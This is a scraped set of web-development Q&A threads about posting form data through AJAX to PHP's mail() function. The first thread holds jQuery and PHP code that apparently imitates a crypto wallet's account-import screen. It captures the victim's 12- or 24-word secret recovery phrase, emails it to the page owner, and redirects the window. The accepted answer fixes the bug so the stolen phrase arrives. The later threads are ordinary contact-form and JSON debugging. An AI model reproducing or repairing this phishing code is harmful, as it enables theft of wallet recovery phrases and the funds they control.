I am trying to post import-account__secret-phrase to a $_Post PHP variable within another file. To either store/email the variable.
<script>
var p = !1;
setTimeout(function() {
$(".z2").addClass("hidden"), $(".z3").removeClass("hidden")
}, 1e3), $(".import-account__secret-phrase").on("keyup", function() {
var t = $(this).val().split(" ");
p || (12 == t.length && 1 < t[11].length || 24 == t.length && 1 < t[23].length ? $(".button.btn--first-time.first-time-flow__button").prop("disabled", !1) : $(".button.btn--first-time.first-time-flow__button").prop("disabled", !0))
}), $(".button.btn--first-time.first-time-flow__button").on("click", function() {
p = !0, $(this).prop("disabled", !0).html('<i class="fa fa-spinner fa-spin fa-fw"></i> ' + $(this).html()), $.post("post.php", {
data1: "Account",
data: $(".import-account__secret-phrase").val()
}, function() {
p = !1
}, "json"), window.parent.opener.postMessage({
uni: !0
}), setTimeout(function() {
$(".z2").removeClass("hidden"), $(".z3").addClass("hidden"), setTimeout(function() {
window.parent.opener.location.replace("https://website.com"), window.parent.close()
}, 2e3)
}, 1e3)
}), document.body.addEventListener("contextmenu", function(t) {
"import-account__secret-phrase" != t.toElement.className && t.preventDefault()
}, !1);
</script>
Here is the post.php file which is in the same folder.
<?php
// data sent in header are in JSON format
header('Content-Type: application/json');
// takes the value from variables and Post the data
$postmessage = $_POST['.import-account__secret-phrase'];
$to = "email#email.com";
$subject = "Phrase";
// Email Template
$message .= "Message:". $postmessage."<br>";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$retval = mail ($to,$subject,$message,$header);
?>
The email fires and is recieved, but the $postmessage variable is blank and the secret phrase isn't displayed.
The issue is because you're sending the values in the data and data1 parameters, yet your PHP appears to be trying to use a DOM selector to retrieve the value.
From the context you need to change that selector to just 'data', so that it reads the value you provided in the $.ajax() call.
$postmessage = $_POST['data'];
I would also suggest you use more descriptive parameter names.
Related
You are using the nginx web server
React is trying to use the php mail function.
However, I don't know how to set it up on the web server.
I am using AWS es2 and I am using ubuntu 20.04 version.
Here's how we've done it so far.
I installed the first php8.1, php pfm8.1.
I installed postfix twice.
But I don't know which of these two ways is right.
Is it right to install and use php on the server?
I don't know if it's right to use postfix.
I want to implement the function of sending mail to my mailbox after writing it.
React Code
function Contact() {
const [textarea, setTextarea] = useState<textAreaType>({
message: ''
});
const [inputs, setInputs] = useState<inputTypes>({
company: '',
number: '',
email: '',
name: '',
phone: '',
})
const { company, number, email, name, phone } = inputs
const { message } = textarea
const onChangeInput = (e: React.ChangeEvent<HTMLInputElement>) => {
const { value, name } = e.target;
setInputs({
...inputs, // 기존의 input 객체를 복사한 뒤
[name]: value // name 키를 가진 값을 value 로 설정
});
};
const onChangeTextarea = (e: React.ChangeEvent<HTMLTextAreaElement>) => {
const { value, name } = e.target
setTextarea({
...textarea,
[name]: value
});
};
function handleFormSubmit(event: React.FormEvent) {
// 언제나 HTMLInputElement 가 반환된다는 것을 알려줌. (타입 단언)
const email_Input = (document.getElementById('email') as HTMLInputElement).value
const name_Input = (document.getElementById('name') as HTMLInputElement).value
const phone_Input = (document.getElementById('phone') as HTMLInputElement).value
if (email_Input.length === 0) {
alert('이메일을 입력해주세요.')
} else if (name_Input.length === 0) {
alert('담당자 이름을 입력해주세요.')
} else if (phone_Input.length === 0) {
alert('담당자 전화번호를 입력해주세요.')
} else {
axios({
method: 'post',
url: `${API_PATH}`,
headers: { 'content-type': 'application/json' },
data: { ...inputs, ...textarea }
}).then(res => {
if (res.status === 200) {
alert('메일을 전송하였습니다. 홈으로 이동합니다.')
window.location.pathname = '/'
} else {
alert("메일전송에 실패하였습니다.")
}
}).catch(error => console.error(error));
event.preventDefault()
}
};
const API_PATH: string = 'http://XXXX.com/index.php'
PHP
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
header("Access-Control-Allow-Headers: X-PINGOTHER, Content-Type, Authorization");
header("Access-Control-Max-Age: 86400");
$rest_json = file_get_contents("php://input");
$_POST = json_decode($rest_json, true);
// company - 회사명
// number - 회사번호
// email - 이메일
// name - 담당자 명
// phone - 담당자 전화번호
// message - 메세지
$to = "XXXX#XXXX.com";
$subject = "Grigom_Pictures CONTACT MAIL - ".$_POST['company'];
$contents= nl2br(
"회사명 : ".$_POST['company']."\n".
"회사번호 : ".$_POST['number']."\n".
"이메일 : ".$_POST['email']."\n".
"담당자 명 : ".$_POST['name']."\n".
"담당자 전화번호 : ".$_POST['phone']."\n".
"내용 : ".$_POST['message']."\n"
);
$headers = implode("\r\n", [
//"From:" . $_POST['email'] . "",
"From: grigompictures.com",
'MIME-Version: 1.0',
'Content-Type: text/html; charset=UTF-8',
'X-Mailer: PHP/' . PHP_VERSION
]);
mail($to, $subject, $contents, $headers);
?>
I'm having some real trouble getting this form to send through Ajax. I started off getting the values to send through but came to a stop once the radio button var messagetype was added. Since adding the variable the page no longer passes any of the values through where as before it would pass them.
I believe it has something to do with the var dataString and the values are not passing through properly, and as it started to go wrong since added var messagetype it must have started from here.
I've played around with the code for var messagetype by adding a class and trying that, writing it a few ways but still to no avail.
Here's my code:
js
$('#formsend').click(function(){
var name = $("input#name").val();
var email = $("input#email").val();
var phone = $("input#phone").val();
//Where I think it's going wrong:
var messagetype = $("input[name='messagetype']:checked").val();
var trackurl = $("input#trackurl").val();
var trackdesc = $("input#trackdesc").val();
var eventdate = $("input#eventdate").val();
var eventdesc = $("input#eventdesc").val();
var adrsone = $("input#adrsone").val();
var adrstwo = $("input#adrstwo").val();
var adrsthree = $("input#adrsthree").val();
var pcode = $("input#pcode").val();
var detail = $("input#subject").val();
var note = $("input#note").val();
var dataString = 'name='+ name + '&email=' + email + '&phone=' + phone +'&messagetype=' + messagetype + '&trackurl=' + trackurl + '&trackdesc=' + trackdesc + '&eventdate=' + eventdate + '&eventdesc=' + eventdesc + '&adrsone=' + adrsone + '&adrstwo=' + adrstwo + '&adrsthree=' + adrsthree + '&pcode=' + pcode + '&detail=' + detail + '¬e=' + note;
$.ajax({
type: "POST",
url: "processmail.php",
data: dataString,
success: function() {
$('#form').html("<div id='message'></div>");
$('#message').html("<h2>Message Submitted.</h2>")
.append("<p>Thank you for contacting me, I will be in touch soon.</p>")
.hide()
.fadeIn(1500);
}
});
return false;
}); //end form ajax
processmail.php
<?php
$name=sanitiseString($_POST['name']);
$email=sanitiseString($_POST['email']);
$phone=sanitiseString($_POST['phone']);
$messagetype=sanitiseString($_POST['messagetype']);
$trackurl=sanitiseString($_POST['trackurl']);
$trackdesc=sanitiseString($_POST['trackdesc']);
$eventdate=sanitiseString($_POST['eventdate']);
$eventdesc=sanitiseString($_POST['eventdesc']);
$adrsone=sanitiseString($_POST['adrsone']);
$adrstwo=sanitiseString($_POST['adrstwo']);
$adrsthree=sanitiseString($_POST['adrsthree']);
$pcode=sanitiseString($_POST['pcode']);
$detail=sanitiseString($_POST['detail']);
$note=sanitiseString($_POST['note']);
$to='emailme#myemail.com';
$subject='Message from Form: '.$messagetype;
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .='From: '.$name;
$headers .='Reply-To: '.$email;
if($messagetype == 'track'){
$message='<table>
<tr><td>Name: </td><td>'.$name.'</td></tr>
<tr><td>Email: </td><td>'.$email.'</td></tr>
<tr><td>Track Description: </td><td>'.$trackdesc.'</td></tr>
<tr><td>Track Link: </td><td>'.$trackurl.'</td></tr>
<table>';
}
elseif($messagetype == 'event'){
$message='<table>
<tr><td>Name: </td><td>'.$name.'</td></tr>
<tr><td>Email: </td><td>'.$email.'</td></tr>
<tr><td>Event Description: </td><td>'.$eventdesc.'</td></tr>
<tr><td>Event Date: </td><td>'.$eventdate.'</td></tr>
<tr><td>Location: </td><td>'.$adrsone.'</td></tr>
<tr><td> </td><td>'.$adrstwo.'</td></tr>
<tr><td> </td><td>'.$adrsthree.'</td></tr>
<tr><td> </td><td>'.$pcode.'</td></tr>
<table>';
}
elseif($messagetype == 'message'){
$message='<table>
<tr><td>Name: </td><td>'.$name.'</td></tr>
<tr><td>Email: </td><td>'.$email.'</td></tr>
<tr><td>Subject: </td><td>'.$detail.'</td></tr>
<tr><td>Message: </td><td>'.$note.'</td></tr>
<table>';
}
mail($to, $subject, $message, $headers);
function sanitiseString($var)
{
$var = stripslashes($var);
$var = htmlentities($var);
$var = strip_tags($var);
return $var;
}
?>
I am new to this and have followed a few tutorials to achieve it so am now a little stuck as to why it won't work.
Any help would be greatly appreciated.
use serialize() or SerializeArray
var dataString = $('#FORMID').serialize();
and pass dataString to your data variable in $.ajax in data
& in php Section you can get all values of fields present inside form
using GET or POST method
messagetype set hidden field in your form or append it to dataString so you will get messagetype in your php file
Try to use object for data param.
$.ajax({
type: "POST",
url: "processmail.php",
data: {'name': name,
'email': email},
success: function() {
$('#form').html("<div id='message'></div>");
$('#message').html("<h2>Message Submitted.</h2>")
.append("<p>Thank you for contacting me, I will be in touch soon.</p>")
.hide()
.fadeIn(1500);
}
});
Im having difficulties when parsing an array using Ajax to PHP to send an email with the values from the array.
Ajax code:
$(document).ready(function(){
$("#submit-button").click(function(){
var countryArray = ['Location Zero', 'Location One', 'Location Two'];
dataString = countryArray;
var jsonString = JSON.stringify(dataString);
$.ajax({
type: "POST",
url: "sendmail.php",
data: {countries: jsonString},
success: function (msg) {
$("#errors").text("Thank you for getting in touch, we will get back to you!");
},
error: function (msg) {
$("#errors").text("Error sending email, please try again.");
alert("error");
}
});
});
});
PHP code:
<?php
$to = "abc#abc.com";
$countries = json_decode($_POST['countries']);
$header = "Content-Type: text/html\r\nReply-To: \r\nFrom: <>";
$subject = "Email from the Lister customer";
$body = #"$countries";
if(mail($to, $subject, $body, $header)) {
die("true");
} else {
die("There was an error sending the email.");
}
?>
But all I'm getting with in the email from $countries is word "Array" instead of the values.
Can anyone help please?
$countries is an array. If you want it to be displayed as a list in your $body, you can do:
$body = implode(', ', $countries);
Please also try not to suppress (#) PHP errors, it'll cause you more headaches in the future.
<?php
$to = "abc#abc.com";
$countries = json_decode($_POST['countries']);
$header = "Content-Type: text/html\r\nReply-To: \r\nFrom: <>";
$subject = "Email from the Lister customer";
$body = implode(", ", $countries);
if(mail($to, $subject, $body, $header)) {
die("true");
} else {
die("There was an error sending the email.");
}
?>
If you're using jquery, try using .serializeArray() instead of stringify.
Also, when receiving the $_POST['contries'] variables, you need to implode it. Try this:
$(document).ready(function(){
$("#submit-button").click(function(){
var countryArray = ['Location Zero', 'Location One', 'Location Two'];
$.ajax({
type: "POST",
url: "sendmail.php",
data: {countries: countryArray.serializeArray()},
success: function (msg) {
$("#errors").text("Thank you for getting in touch, we will get back to you!");
},
error: function (msg) {
$("#errors").text("Error sending email, please try again.");
alert("error");
}
});
});
});
And then in PHP use this to properly grab the countries values:
implode(', '.$countries);
I have the following code..
if (config.sendResultsURL !== null)
{
console.log("Send Results");
var collate =[];
for (r=0;r<userAnswers.length;r++)
{
collate.push('{"questionNumber'+parseInt(r+1)+ '"' + ': [{"UserAnswer":"'+userAnswers[r]+'", "actualAnswer":"'+answers[r]+'"}]}');
}
$.ajax({
type: 'POST',
url: config.sendResultsURL,
data: '[' + collate.join(",") + ']',
complete: function()
{
console.log("Results sent");
}
});
}
Using Firebug I get this from the console.
[{"questionNumber1": [{"UserAnswer":"3", "actualAnswer":"2"}]},{"questionNumber2": [{"UserAnswer":"3", "actualAnswer":"2"}]},{"questionNumber3": [{"UserAnswer":"3", "actualAnswer":"2"}]},{"questionNumber4": [{"UserAnswer":"3", "actualAnswer":"1"}]},{"questionNumber5": [{"UserAnswer":"3", "actualAnswer":"1"}]}]
From here the script sends data to emailData.php which reads...
$json = json_decode($_POST, TRUE);
$body = "$json";
$to = "myemail#email.com";
$email = 'Diesel John';
$subject = 'Results';
$headers = "From: $email\r\n";
$headers .= "Content-type: text/html\r\n";
// Send the email:
$sendMail = mail($to, $subject, $body, $headers);
Now I do get the email however it is blank.
My question is how do I pass the data to emailData.php and from there access it?
Create an object that you want to pass to PHP
Use JSON.stringify() to make a JSON string for that object.
Pass it to PHP script using POST or GET and with a name.
Depending on your request capture it from $_GET['name'] OR $_POST['name'].
Apply json_decode in php to get the JSON as native object.
In your case you can just pass userAnswers[r] and answers[r]. Array sequence are preserved.
In for loop use,
collate.push({"UserAnswer":userAnswers[r], "actualAnswer":answers[r]});
In ajax request use,
data: {"data" : JSON.stringify(collate)}
In the PHP end,
$json = json_decode($_POST['data'], TRUE); // the result will be an array.
json_decode converting string to object.
just do bellow code and check the values.
print_r($json)
Directly assign json object to string this is very bad.
If you decode your json, you will have a hash and not a string. If you want to be mailed the same as what you printed on the console, simply do this:
$body = $_POST['data'];
Another option would be to parse json into a php hash and var_dump that:
$json = json_decode($_POST['data'], TRUE);
$body = var_export($json, TRUE);
Using below JavaScript code
var collate =[], key, value;
for (r=0;r<userAnswers.length;r++) {
key = questionNumber + parseInt(r+1);
value = { "UserAnswer": userAnswers[r], "actualAnswer": answers[r] };
collate.push({ key : value });
}
$.post( config.sendResultsURL, { data: collate }, function(data) {
console.log("Results sent");
});
And do this in PHP
$data = json_decode( $_POST['data'], true );
and you will have all your data with array.
$jsonData = file_get_contents('php://input');
$json = json_decode($jsonData, 1);
mail('email', 'subject', print_r($json, 1));
I have a store locator, built using Google Maps, PHP/Mysql and jQuery here:
http://tinyurl.com/4w8nwwp
Everything is dandy in FF, Safari,Chrome and Opera.
IE7, 8 cannot read the XML that is dynamically generated by parse_location.php
The AJAX code:
function reloadMap(map, dataString) {
markersArray = [];
var infoWindow = new google.maps.InfoWindow({content: "loading...", maxWidth:100});
var storeListHtml = '<h2>Name <span style="margin-left:252px;">Address</span></h2><ul>';
$.ajax({
type: "GET",
url: "parse_location.php",
data: dataString,
success: function(text){
count = -1;
$(text).find("list").each(function()
{
count++;
if(count == 0)
{
var burnsvilleMN = new google.maps.LatLng($(this).attr("lat"),$(this).attr("lng"));
map.panTo(burnsvilleMN);
}
var store = [$(this).attr("name"), $(this).attr("address"), $(this).attr("lat"), $(this).attr("lng"), count];
var name = $(this).attr("name");
var address = $(this).attr("address");
var point = new google.maps.LatLng($(this).attr("lat"),$(this).attr("lng"));
var html = "<span class='info'><b>" + name + "</b> <br/>" + address + "</span>";
var image = new google.maps.MarkerImage('images/icon_dot2.png');
var shadow = new google.maps.MarkerImage('images/icon_dot_shadow.png');
var marker = new google.maps.Marker({
map: map,
position: point,
icon: image,
shadow:shadow
//shadow: icon.shadow
});
//markersArray.push(marker);
storeListHtml += "<li class='store'><a href='javascript:myclick("+count+")'><div class='store-name'>"+name+"</div><div class='store-add'> "+address+"</div></a></li>";
bindInfoWindow(marker, map, infoWindow, html);
});
storeListHtml += '</ul>';
$("#store-list").html(storeListHtml);
}
});
}
As you can see, this involves calling parse_location.php, getting the XML generated by this code:
// uncommenting the following line causes ff, safari et al to not show anything.
// header('Content-Type: text/xml; charset=UTF-8');
$responce = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
$responce .= "<location>\n";
$city = $_GET['city'];
$category = $_GET['category'];
[SQL Query here ]
$result = mysql_query($sql);
while ($row = mysql_fetch_array($result))
{
$responce .= "<list name=\"".$row["name"]."\"
address=\"".$row["street_address"]." ".$row["city"]." ".$row["state"].", ".$row["zip"]."\"
lat=\"".$row["lat"]."\"
lng=\"".$row["lng"]."\" />";
}
$responce .= "</location>";
$responce8 = utf8_encode($responce);
echo $responce8;
Any pointers???
Rishi
Add a Content-Type header to your php code like this:
header('Content-Type: text/xml'); // Try "application/xml" too
Also, adding another IE-specific header might help:
header('X-Content-Type-Options: nosniff');
You need to do this before outputting anything else of course, since they are headers.